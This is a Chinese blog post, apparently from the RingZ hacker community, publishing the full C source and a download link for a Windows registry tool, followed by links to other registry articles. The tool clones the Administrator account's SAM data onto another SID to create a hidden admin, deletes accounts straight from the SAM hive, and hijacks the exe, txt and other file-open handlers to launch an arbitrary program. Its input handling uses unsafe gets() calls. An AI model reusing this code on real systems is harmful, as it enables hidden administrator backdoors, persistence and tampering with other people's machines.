注册表操作

最新推荐文章于 2025-07-26 16:04:37 发布
原创 最新推荐文章于 2025-07-26 16:04:37 发布 · 1k 阅读 · 0 ·
本内容遵循CC 4.0 BY-SA版权协议
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
标签
#file #user #input #exe #delete
#buffer

代码：注册表操作（RingZ_RgeEdit） RingZ_CDUser的扩展版本
作者：dahubaobao
主页：http://www.ringz.org
邮件：dahushibaobao@vip.sina.com
QQ：382690
EXE在压缩包中，解压密码：www.ringz.org
http://dahubaobao.go.nease.net/RingZ_RgeEdit.rar
欢迎进入环形区，一群技术狂热者的社区，www.ringz.org欢迎你的加入！
注：转载请著名出处，谢谢！
=====================================================================
#include "Functions.h"

int main (int argc, char *argv[])
{
char SID[10],C_Sid[10],USER[20];
char *K_Sid="1F4";
char *K_User="Administrator";
int n;

for (n=1;n<argc;n++)
{
if (argv[n][0]=='-'||argv[n][0]=='/')
{
switch(argv[n][1])
{
case '?':
case 'h':
case 'H':Usage();
break;

case 'l':
case 'L':ListUser();
break;

case 'f':
case 'F':Main_Correlation();
break;

case 'e':
case 'E':EX_Correlation();
break;

case 'c':
case 'C':printf("Please Input Clone SID:");
gets(C_Sid);
if (strlen(C_Sid)<=10&&strcmp(C_Sid,K_Sid)!=0)
Clone(C_Sid);
else
{
printf("Error/n");
exit(0);
}
break;

case 's':
case 'S':printf("Please Input Delete SID:");
gets(SID);
if (strlen(SID)<=10&&strcmp(SID,K_Sid)!=0)
Sid(SID);
else
{
printf("Error/n");
exit(0);
}
break;

case 'u':
case 'U':printf("Please Input Delete USER:");
gets(USER);
if (strlen(USER)<=20&&strcmp(USER,K_User)!=0)
User(USER);
else
{
printf("Error/n");
exit(0);
}
break;

default:Usage();
}
}
}
return 0;
}

int Main_Correlation (void)
{
int r_count;

C_Usage();
r_count=Correlation();

while (r_count!=EXIT)
{
C_Usage();
r_count=Correlation();
}
printf("File Correlation End/n");
return 0;
}

int Correlation (void)
{
char TXT_file[50],EXE_file[50],HLP_file[50],INF_file[50],INI_file[50];
char E_Key[20],Key[20],D_Value[20],Value[50];
int count;

while (scanf("%d",&count)==1)
{
if (count==LOW||count>EXIT)
{
C_Usage();
continue;
}

if (count==EXIT)
{
printf("ByeBye!/n");
break;
}

while (getchar()!='/n')
continue;

switch(count)
{
case 1:printf("Correlation TXT:");
gets(TXT_file);
if (strlen(TXT_file)<=50)
TXT_Correlation(TXT_file);
else
{
printf("Error/n");
exit(0);
}
break;

case 2:printf("Correlation EXE:");
gets(EXE_file);
if (strlen(EXE_file)<=50)
EXE_Correlation(EXE_file);
else
{
printf("Error/n");
exit(0);
}
break;

case 3:printf("Correlation HLP:");
gets(HLP_file);
if (strlen(HLP_file)<=50)
HLP_Correlation(HLP_file);
else
{
printf("Error/n");
exit(0);
}
break;

case 4:printf("Correlation INF:");
gets(INF_file);
if (strlen(INF_file)<=50)
INF_Correlation(INF_file);
else
{
printf("Error/n");
exit(0);
}
break;

case 5:printf("Correlation INI:");
gets(INI_file);
if (strlen(INI_file)<=50)
INI_Correlation(INI_file);
else
{
printf("Error/n");
exit(0);
}
break;

case 6:printf("Setting Correlation/n");
printf("Please Input E_KeyName(E_Key):");
if (!(strlen(gets(E_Key))<=20))
{
printf("Error/n");
exit(0);
}
printf("Please Input KeyName(Key):");
if (!(strlen(gets(Key))<=20))
{
printf("Error/n");
exit(0);
}
printf("Please Input D_KeyValue(D_Value):");
if (!(strlen(gets(D_Value))<=20))
{
printf("Error/n");
exit(0);
}
printf("Please Input KeyValue(Value):");
if (strlen(gets(Value))<=50)
DIY_Correlation(E_Key,Key,D_Value,Value);
else
{
printf("Error/n");
exit(0);
}
}

}

while (getchar()!='/n')
continue;
return count;
}

void TXT_Correlation (char *TXTFile)
{
HKEY hkey;
DWORD szData=100,ret=0;
char *key="txtfile//shell//open//command//";

ret=RegCreateKey(HKEY_CLASSES_ROOT,key,&hkey);
//在指定的项下创建一个新项。如指定的项已经存在，那么函数会打开现有的项
//hKey Long，要打开项的句柄，或者一个标准项名
//lpSubKey String，欲创建的新子项。可同时创建多个项，只需用反斜杠将它们分隔开即可。
//例如level1/level2/newkey。如果指定""，则为默认值。
//phkResult Long，指定一个变量，用于装载新子项的句柄

if (!ret==ERROR_SUCCESS)
{
printf("Reg Create FAIL/n");
exit(0);
}

ret=RegSetValueEx(hkey,"",0,REG_EXPAND_SZ,TXTFile,szData);

if (ret==ERROR_SUCCESS)
printf("TXT_File Correlation Success/n");
else
{
printf("TXT_File Correlation FAIL/n");
exit(0);
}

RegCloseKey(hkey);
}

void EXE_Correlation (char *EXEFile)
{
HKEY hkey;
DWORD szData=100,ret=0;
char *key="exefile//shell//open//command//";

ret=RegCreateKey(HKEY_CLASSES_ROOT,key,&hkey);

if (!ret==ERROR_SUCCESS)
{
printf("Reg Create FAIL/n");
exit(0);
}

ret=RegSetValueEx(hkey,"",0,REG_SZ,EXEFile,szData);

if (ret==ERROR_SUCCESS)
printf("EXE_File Correlation Success/n");
else
{
printf("EXE_File Correlation FAIL/n");
exit(0);
}

RegCloseKey(hkey);
}

void INF_Correlation (char *INFFile)
{
HKEY hkey;
DWORD szData=100,ret=0;
char *key="inffile//shell//open//command//";

ret=RegCreateKey(HKEY_CLASSES_ROOT,key,&hkey);

if (!ret==ERROR_SUCCESS)
{
printf("Reg Create FAIL/n");
exit(0);
}

ret=RegSetValueEx(hkey,"",0,REG_EXPAND_SZ,INFFile,szData);

if (ret==ERROR_SUCCESS)
printf("INF_File Correlation Success/n");
else
{
printf("INF_File Correlation FAIL/n");
exit(0);
}

RegCloseKey(hkey);
}

void INI_Correlation (char *INIFile)
{
HKEY hkey;
DWORD szData=100,ret=0;
char *key="inifile//shell//open//command//";

ret=RegCreateKey(HKEY_CLASSES_ROOT,key,&hkey);

if (!ret==ERROR_SUCCESS)
{
printf("Reg Create FAIL/n");
exit(0);
}

ret=RegSetValueEx(hkey,"",0,REG_EXPAND_SZ,INIFile,szData);

if (ret==ERROR_SUCCESS)
printf("INI_File Correlation Success/n");
else
{
printf("INI_File Correlation FAIL/n");
exit(0);
}

RegCloseKey(hkey);
}

void HLP_Correlation (char *HLPFile)
{
HKEY hkey;
DWORD szData=100,ret=0;
char *key="helpfile//shell//open//command//";

ret=RegCreateKey(HKEY_CLASSES_ROOT,key,&hkey);

if (!ret==ERROR_SUCCESS)
{
printf("Reg Create FAIL/n");
exit(0);
}

ret=RegSetValueEx(hkey,"",0,REG_SZ,HLPFile,szData);

if (ret==ERROR_SUCCESS)
printf("HLP_File Correlation Success/n");
else
{
printf("HLP_File Correlation FAIL/n");
exit(0);
}

RegCloseKey(hkey);
}

int DIY_Correlation(
char *E_KeyName,char *KeyName,char *D_KeyValue,char *KeyValue)
{
HKEY hkey;
DWORD szData=100,ret=0;
char Key[50];
ZeroMemory(Key,50);

ret=RegCreateKey(HKEY_CLASSES_ROOT,E_KeyName,&hkey);

if (!ret==ERROR_SUCCESS)
{
printf("One:Reg Create FAIL/n");
exit(0);
}

ret=RegSetValueEx(hkey,"",0,REG_SZ,KeyName,szData);

if (ret==ERROR_SUCCESS)
printf("One:Setting RegKey Success/n");
else
{
printf("One:Setting RegKey FAIL/n");
exit(0);
}

ret=RegCreateKey(HKEY_CLASSES_ROOT,KeyName,&hkey);

if (!ret==ERROR_SUCCESS)
{
printf("Two:Reg Create FAIL/n");
exit(0);
}

ret=RegSetValueEx(hkey,"",0,REG_SZ,D_KeyValue,szData);

if (ret==ERROR_SUCCESS)
printf("Two:Setting RegKeyValue Success/n");
else
{
printf("Two:Setting RegKeyValue FAIL/n");
exit(0);
}

strcpy(Key,KeyName);
strcat(Key,"//shell//open//command//");

ret=RegCreateKey(HKEY_CLASSES_ROOT,Key,&hkey);

if (!ret==ERROR_SUCCESS)
{
printf("Three:Reg Create FAIL/n");
exit(0);
}

ret=RegSetValueEx(hkey,"",0,REG_SZ,KeyValue,szData);

if (ret==ERROR_SUCCESS)
printf("Three:Setting RegKeyValue Success/n");
else
{
printf("Three:Setting RegKeyValue FAIL/n");
exit(0);
}

RegCloseKey(hkey);
}

void Sid (char *sid)
{
HKEY hkey;
DWORD ret;
char C_sid[10];

ZeroMemory(C_sid,10);
strcpy(C_sid,"00000"); //填充SID中的前5位
strcat(C_sid,sid); //传递剩余3位，并继续填充

//打开注册表，成功返回值0（SUCCESS）
ret=RegOpenKey(HKEY_LOCAL_MACHINE, //根键名或已打开项的句柄
"SAM//SAM//Domains//Account//Users//", //要打开的项名
&hkey); //装载打开项的句柄

if (!ret==ERROR_SUCCESS)
{
printf("Reg Open FAIL/n");
exit(0);
}

//删除SID，成功返回值0（SUCCESS）
ret=RegDeleteKey(hkey,C_sid);

if (ret==ERROR_SUCCESS)
printf("Success Delete Key (SID)/n"); //打印成功消息
else
{
printf("Delete Key FAIL (SID)/n"); //打印失败消息
exit(0);
}

RegCloseKey(hkey); //关闭以打开的注册表项

}

void User (char *user)
{
HKEY hkey;
DWORD ret;
char C_user[40];

ZeroMemory(C_user,40);
strcpy(C_user,"");
strcat(C_user,user);

ret=RegOpenKey(HKEY_LOCAL_MACHINE,
"SAM//SAM//Domains//Account//Users//Names//",
&hkey);

if (!ret==ERROR_SUCCESS)
{
printf("Reg Open FAIL/n");
exit(0);
}

ret=RegDeleteKey(hkey,C_user);

if (ret==ERROR_SUCCESS)
printf("Success Delete Key (USER)/n");
else
{
printf("Delete Key FAIL (USER)/n");
exit(0);
}

RegCloseKey(hkey);

}

void OpenKey (char *key)
{
HKEY hkey;
DWORD dwIndex=0,lpcbname=100,ret=0;
char T_name[100],Buffer[100];
FILETIME lpftlast;
int i=0;

ZeroMemory(Buffer,100);
ZeroMemory(T_name,100);
ZeroMemory(name,1500);

RegOpenKeyEx(HKEY_LOCAL_MACHINE, //根键名或已打开项的句柄
key, //传递一个参数，欲打开的注册表项
0, //未用，设为0即可
KEY_ALL_ACCESS, //带有前缀KEY_??的一个或多个常数。
//它们的组合描述了允许对这个项进行哪些操作
&hkey);

for(i=0;ret==ERROR_SUCCESS;i++,dwIndex++)
{
ret=RegEnumKeyEx(hkey,dwIndex,T_name,&lpcbname,
NULL,NULL,NULL,&lpftlast);
//dwIndex：欲获取的子项的索引。第一个子项的索引编号为零
//T_name：用于装载指定索引处项名的一个缓冲区
//&lpcbname：指定一个变量，用于装载lpName缓冲区的实际长度（包括空字符）。
//一旦返回，它会设为实际装载到lpName缓冲区的字符数量
//NULL：未用，设为零
//NULL：项使用的类名
//NULL：用于装载lpClass缓冲区长度的一个变量
//&lpftlast：FILETIME，枚举子项上一次修改的时间

strcat(name[i],T_name);
ZeroMemory(T_name,100);
lpcbname=100;
}

RegCloseKey(hkey);

//拼接用户名
for(KeyN=0;KeyN<i;KeyN++)
{
strcat(Buffer,name[KeyN]);
strcat(Buffer,"/n/r");
}
}

int ViewUser (char *key)
{
HKEY hkey;
DWORD lpType=0,ret;
char S_name[10];


ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,
key,
0,
KEY_ALL_ACCESS,
&hkey);

if(!ret==ERROR_SUCCESS)
{
printf("Reg Open FAIL/n");
exit(0);
}

RegQueryValueEx(hkey,NULL,NULL,
&lpType,NULL,NULL);
//NULL：要获取值的名字
//NULL：未用，设为零
//&lpType：用于装载取回数据类型的一个变量
//NULL：用于装载指定值的一个缓冲区
//NULL：用于装载lpData缓冲区长度的一个变量

wsprintf(S_name,"%X/n/r",lpType);
printf("%s",S_name);

return 1;
}

int ListUser (void)
{
int n;
char Buffer[70]="SAM//SAM//Domains//Account//Users//Names//";
char Temp[40]={'/0'};

OpenKey("SAM//SAM//Domains//Account//Users//Names");

for(n=0;n<KeyN;n++)
{
strcat(Buffer,name[n]);
wsprintf(Temp,name[n]);
strcat(Temp,"===>");
printf("%s",Temp);
ViewUser(Buffer);
strcpy(Buffer,"SAM//SAM//Domains//Account//Users//Names//");
}
return 1;
}

int Clone(char *C_sid)
{
HKEY hkey,C_hkey;
DWORD Type=REG_BINARY,SizeF=1024*2,SizeV=1024*10,ret;
char CloneSid[100];
LPBYTE lpDataF,lpDataV;

lpDataF = (LPBYTE) malloc(1024*2);
lpDataV = (LPBYTE) malloc(1024*10);

ZeroMemory(lpDataF,1024*2);
ZeroMemory(lpDataV,1024*10);
ZeroMemory(CloneSid,100);

strcpy(CloneSid,"SAM//SAM//Domains//Account//Users//00000");
strcat(CloneSid,C_sid);

ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"SAM//SAM//Domains//Account//Users//000001F4",
0,
KEY_ALL_ACCESS,
&hkey);

if(!ret==ERROR_SUCCESS)
{
printf("Reg Open FAIL/n");
exit(0);
}

ret=RegQueryValueEx(hkey,"F",NULL,
&Type,lpDataF,&SizeF);

if(!ret==ERROR_SUCCESS)
{
printf("Reg Query Value FAIL/n");
exit(0);
}

ret=RegQueryValueEx(hkey,"V",NULL,
&Type,lpDataV,&SizeV);

if(!ret==ERROR_SUCCESS)
{
printf("Reg Query Value FAIL/n");
exit(0);
}

ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,
CloneSid,
0,
KEY_ALL_ACCESS,
&C_hkey);

if(!ret==ERROR_SUCCESS)
{
printf("Reg Open FAIL/n");
exit(0);
}

ret=RegSetValueEx(C_hkey,"F",0,
REG_BINARY,
lpDataF,
SizeF);
//C_hkey:根键名或已打开项的句柄
//“F”：要设置值的名字
//0：未用，设为零
//REG_BINARY：要设置的数量类型
//lpDataF：包含数据的缓冲区中的第一个字节
//SizeF：lpData缓冲区的长度

if(!ret==ERROR_SUCCESS)
{
printf("Reg Set Vaule FAIL/n");
exit(0);
}

ret=RegSetValueEx(C_hkey,"V",0,
REG_BINARY,
lpDataV,
SizeV);

if(ret==ERROR_SUCCESS)
printf("Clone User Success/n");
else
{
printf("Clone User FAIL/n");
exit(0);
}

RegCloseKey(hkey);
RegCloseKey(C_hkey);

return 1;
}

void C_Usage (void)
{
fprintf(stderr,"********************************************************************************/n"
"Please Input 1 or 5 Select file correlation,Select 6 /"DIY/" file correlation/n"
"1)TXT/t/t/t2)EXE/t/t/t3)HLP/n"
"4)INF/t/t/t5)INI/t/t/t6)DIY/n"
"7)Quit/n"
"********************************************************************************/n");
}

void EX_Correlation (void)
{
printf("DIY example：/n/n");
fprintf(stderr,"C:/>RingZ_RgeEdit.exe -E/n"
"*******************************************************************************/n"
"Please Input 1 or 5 Select file correlation,Select 6 /"DIY/" file correlation/n"
"1)TXT/t/t/t2)EXE/t/t/t3)HLP/n"
"4)INF/t/t/t5)INI/t/t/t6)DIY/n"
"7)Quit/n"
"********************************************************************************/n"
"6/n"
"Setting Correlation/n"
"Please Input E_KeyName(E_Key):/".dahu/"/n"
"Please Input KeyName(Key):/"dahubaobao/"/n"
"Please Input D_KeyValue(D_Value):/"dahufile/"/n"
"Please Input KeyValue(Value):/"%%systemroot%%//system32//dahubaobao.exe %%1/"/n"
"One:Setting RegKey Success/n"
"Two:Setting RegKeyValue Success/n"
"Three:Setting RegKeyValue Success/n"
"....../n");
}

void Usage (void)
{
fprintf(stderr,"===============================================================================/n"
"/t 注册表操作/n"
"/t包含：删除/克隆任意用户，文件关联(可以自定义)。有时间会继续加入更多功能/n"
"/t环境：Win2K Adv Server + Dev C++ 4.9.8.0/n"
"/t作者：dahubaobao/n"
"/t主页：www.RingZ.org/;n"
"/tOICQ：382690/n"
"/t邮件：382690@qq.com/n"
"/t声明：本帖由环行区（RingZ）原创，转载请注明出处，谢谢！/n/n"
"/t使用方法：/n"
"/t/"-H/"：帮助信息/n"
"/t/"-L/"：列出系统中用户对应的SID/n"
"/t/"-C/"：克隆帐户，输入SID即可/n"
"/t/"-S/"：删除SID/n"
"/t 对应注册表HKEY_LOCAL_MACHINE//SAM//SAM//Domains//Account//Users/n"
"/t/"-U/"：删除用户名/n"
"/t 对应注册表HKEY_LOCAL_MACHINE//SAM//SAM//Domains//Account//Users//Names/n"
"/t/"-F/"：文件关联。可以关联TXT、EXE、HLP、INF、INI，并且可以自定义文件关联/n"
"/t/"-E/"：一个自定义文件关联的例子，并有两幅插图/n/n"
"/t注意事项：/n"
"/t由于SID的前5位都是/"0/"，所以不必输入，直接输入最后三位/n"
"/t例如：000001F5，则直接输入1F5，即可将Guest帐户删除/n"
"/t使用Regedt32将SAM键修改为Administrator可以访问/n"
"/t使用-C参数后，会弹出/"Clone SID：/"提示符，只需输入相应的SID即可克隆/n"
"/t使用-S参数后，会弹出/"Delete SID：/"提示符，只需输入相应的SID即可删除/n"
"/t使用-U参数后，会弹出/"Delete USER：/"提示符，只需输入相应的用户名即可删除/n"
"/t使用-F参数后，会弹出一个菜单，1-6为文件关联选项，7为退出。假如选择1，则/n"
"/t弹出/"Correlation TXT:/"提示符,只需输入相应的程序即可完成文件关联，例如:/n"
"/t/"%%systemroot%%//system32//dahubaobao.exe %%1/",其他关联方法依次类推/n"
"/t本程序只是用做代码交流，对不熟悉注册表编程的朋友可以参考参考，克隆帐户只/n"
"/t是占时性，重启之后就没有了/n"
"===============================================================================/n");
}

Functions.h
Code:
#include <windows.h>
#include <string.h>
#include <stdio.h>
#define EXIT 7
#define LOW 0

char name[50][30];

void Usage (void); //帮助信息
void C_Usage (void); //文件关联菜单
void EX_Correlation (void); //自定义文件关联的例子
void Sid (char *sid); //删除安全标识符
void User (char *user); //删除用户名
void OpenKey (char *key);
void TXT_Correlation (char *TXTFile);
void EXE_Correlation (char *EXEFile);
void INF_Correlation (char *INFFile);
void INI_Correlation (char *INIFile);
void HLP_Correlation (char *HLPFile);
int ListUser (void); //显示用户名对应的安全标识符
int ViewUser (char *key);
int Clone (char *C_sid); //克隆帐户
int Correlation (void); //文件关联函数
int Main_Correlation (void); //文件关联Main函数
int DIY_Correlation(char *E_KeyName,char *KeyName,char *D_KeyValue,char *KeyValue);
//自定义文件关联函数


附件下载

amh
关注
专栏目录
WinForm开发基础之操作注册表
dotnet研习社
12-20 1550
在Windows操作系统中，注册表是一个存储配置信息和设置的重要数据库。它包含了系统和应用程序的配置信息，例如程序的安装路径、用户的个性化设置等适用场景。在WinForm应用程序中，注册表的操作通常用于保存应用程序的配置，如用户设置、窗口位置等。本文将介绍如何在WinForm中进行注册表操作，包括如何读取、写入、删除注册表项以及创建和删除键值。在WinForm应用程序中操作注册表是一个非常常见的需求，可以用于存储配置信息、程序设置等。通过类，开发者可以轻松地读取、写入、删除注册表键值。
windows注册表操作
liunanya的博客
02-01 1256
注册表记录了用户安装在计算机上的软件和每个程序的相互关联信息，它包括了计算机的硬件配置，包括自动配置的即插即用的设备和已有的各种设备说明、状态属性以及各种状态信息和数据。此根键中保存的是默认用户（default)，当前登录用户和软件（software) 的信息，其中DEFAULT子项是其中最重要的，它的配置是针对未来将会被创建的新用户的。Schemes:按事件分类列表。该根键包括启动应用程序所需的全部信息，包括扩展名，应用程序与文档之间的关系，驱动程序名，DDE和OLE信息，类ID。之相对应的应用程序。
C#注册表技术及操作
wenchm的博客
12-09 4127
注册表是一个庞大的数据库系统，它记录了用户安装在计算机上的软件、硬件信息和每一个程序的相互关系。注册表中存放着很多参数，直接控制着整个系统的启动、硬件驱动程序的装载以及应用程序的运行。由于Windows 10系统本身的安全性问题，使用C#操作注册表时，可能会提示无法操作相应的注册表项，这时只需要为提示的注册表项添加everyone用户的读写权限即可。一、注册表基础Windows注册表包含Windows安装、用户喜好以及已安装软件和设备的所有配置信息的核心存储库。1.Registry和类。
Java操作注册表
ezerror的栈力补给
09-17 2650
在我们开发某些软件的过程中，常常需要对windows系统的一些系统设置做一些修改!
VC操作注册表
月落满楼
08-17 2209
注册表的操作，API为我们提供了大约25个函数。他提供了对注册表的读取，写入，删除，以及打开注 册表及键值时所有函数，并且可以达到对注册表的备份，连接和对远端注册表进行查看等等。注册表对 整个系统十分重要，你在进行操作时，一定要先考虑清楚。这些函数有： RegCloseKey RegConnectRegistry    RegCreateKey    RegCreateKeyEx    Re
C++ 注册表操作
aizongsai2251的博客
07-16 487
一、 LONG RegOpenKeyEx( HKEY hKey, // 需要打开的主键的名称 LPCTSTR lpSubKey, //需要打开的子键的名称 DWORD ulOptions, // 保留，设为0 REGSAM samDesired, // 安全访问标记，也就是权限 PHKEY phkResult // 得到的将要打开键的句柄 ) hKey [输入] 当前打开或者以下预...
python操作注册表
03-02 869
#注册表操作 # -*- coding: utf-8 -*- import win32api import win32con #打开注册表：传主键化值，子键值，操作方法（win32con.KEY_ALL_ACCESS、win32con.KEY_READ、win32con. KEY_WRITE） #返回句柄 def RegOpen(PKey,SKey,Sam): ...
Python 操作注册表
moonhillcity的博客
08-02 3415
转自：http://www.cnblogs.com/JeffreySun/archive/2010/01/04/1639117.html 通过Python操作注册表有两种方式，第一种是通过Python的内置模块 _winreg；另一种方式就是Win32 Extension For Python 的win32api模块，但是需要进行额外的安装。这里主要给出一些_winreg和win32api的
Python在Windows注册表中的注册与操作指南
weixin_36019375的博客
09-01 1864
本文还有配套的精品资源，点击获取 简介：Python作为一种可深度与操作系统交互的编程语言，能够实现对Windows注册表的创建、修改和删除等操作。注册表是Windows用来存储配置信息的数据库，通过添加注册表条目可以实现多种系统级功能。本文介绍如何使用Python的第三方库 winreg （或 _winreg ）操作注册表，包括创建键值、设置键...
【C#_注册表操作】
胡说八道,欢迎来此交流霸道心得
02-21 1323
注册表在软件开发中可以存储一些关键信息，这样就不会轻易被删除的，作用比较多,比如可以用它来做授权相关事宜等.
Delphi的注册表操作
cqingling的专栏
08-09 1710
　32位Delphi程序中可利用TRegistry对象来存取注册表文件中的信息。  　　一、创建和释放TRegistry对象  　　1.创建TRegistry对象。为了操作注册表，要创建一个TRegistry对象：ARegistry := TRegistry.Create；  　　2.释放TRegistry对象。对注册表操作结束后，应释放TRegistry对象所占内存：ARegistry.Dest
对注册表进行简单的操作
weixin_33832340的博客
07-05 639
前言 近来由于需要在自己写的程序中对注册表进行操作。总结些经验，并做个一个DEMO供日后使用，现在把它拿出来和大家分享。小弟初学VC，有误之处还请赐教。为了使用方便，我把一些操作写成了函数，以便方便调用，具体代码如下所示。 定义 HKEY hKey; char content[256]; //所查询注册表键值的内容 DWORD dwType=REG_SZ; //定义读取数据类型 D...
注册表操作的类
adamky1080的博客
01-25 208
//注册表操作类 /// <summary> 注册表根节点类型 /// </summary> public enum WRegisterRootKeyType { HKEY_CLASSES_ROOT = 0, HKEY_CURRENT_USER = 1, HKEY_LOCAL_MACHINE = 2, HKE...
在Delphi中轻松操作注册表
要饭's Blog
08-25 2846
 在应用程序中，经常需要对注册表进行各种操作，如将程序名称、安装路径等信息保存到注册表中。Delphi对相应API函数做了进一步封装，使得在应用程序中操作注册表更加简单。  1、原理Delphi提供了TRegistry类，它直接继承自TObject类，主要属性有：RootKey等，主要方法有：Create，CreateKey(Key)， OpenKey(Key,CanCreate)
Windows注册表之注册表基本操作
K
11-21 1931
本章详细介绍了Windows命令行下操作注册表的基本方法，包括创建、修改、删除键值，导入与导出注册表文件，以及搜索与过滤注册表项。通过命令示例和输出结果，展示了如何高效地使用注册表命令管理系统配置，便于备份与故障排查。本章将详细讲解如何通过命令行对注册表进行操作，包括基本的键值管理、导入与导出注册表文件，以及搜索与过滤功能。这些内容能够帮助用户高效地管理注册表，完成自动化配置和问题排查。通过导入注册表文件，可以快速恢复或添加注册表配置。命令查看注册表项及其值，以排查可能的问题。
VB编程中注册表操作的详细指南
最新发布
weixin_42587866的博客
07-26 945
在Windows操作系统中，注册表是一个庞大的数据库系统，用于存储配置信息、系统设置以及应用程序和驱动程序的相关数据。通过编程方式读写注册表可以实现对系统和应用程序的深度定制和管理。VB（Visual Basic）作为一种简单的编程语言，提供了Registry对象用于与注册表进行交互。这种操作可以执行创建、修改、删除和查询注册表项和值的命令。然而需要注意的是，直接操作注册表存在风险，比如可能会导致系统不稳定或软件冲突，因此在操作前需要确保代码的正确性和安全性。
注册表操作详解
热门推荐
niushitang的专栏
03-20 1万+
参考及摘抄自文章：http://www.cnblogs.com/lartely/archive/2011/04/10/2011770.html               http://blog.csdn.net/sunboy_2050/article/details/7753662 基础知识: 注册表的组织方式跟文件目录比较相似，主要分为根键、子键和键值项三部分，与文件目录对应的话
如何用Java操作注册表
江南小筑
07-03 607
使用Preferences API    参考资料        Preferences的误解：         首先要指明的是：Preferences API并不是为访问Windows注册表而设计的。        我们之所以会有上面的误解是由于Sun的Wi
winreg Python也能操作注册表
KHOST的博客
08-01 1496
前言 注册表这个东西大家可能都不是很熟悉，因为我们平时用到的少；但是它是Windows的核心，很多软件的启动和日志记录什么的都包含在里面，可以说它是一个大型的数据库也不为过，今天我们就来看看Python是如何操作注册表的吧。 一、注册表初次见面 进入系统注册表的方法多种多样，最常见的就是运行窗口输入命令“regedit”，即可进入注册表： 注册表中的几个菜单分别对应机器的根目录登陆的用户信息和本地机器信息以及用户信息和本地配置信息等。 二、认识操作注册表的模块 在Python中就有这
RegistryKey 操作注册表
da6679980的专栏
11-01 2626
RegistryKey类在.NET的命名空间中Microsoft.Win32         注册表项是注册表中的基本组织单位，好比是Windows资源管理器中的文件夹。每个具体的注册表项都可以有子项，就像文件夹下可以有子文件夹一样。只要用户具有相应的权限，且注册表项不是基项或基项的下一级项，就可以删除该注册表项。每个注册表项也可带有与其相关联的多个值（一个值就好比是一个文件），它们用于存储信息
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值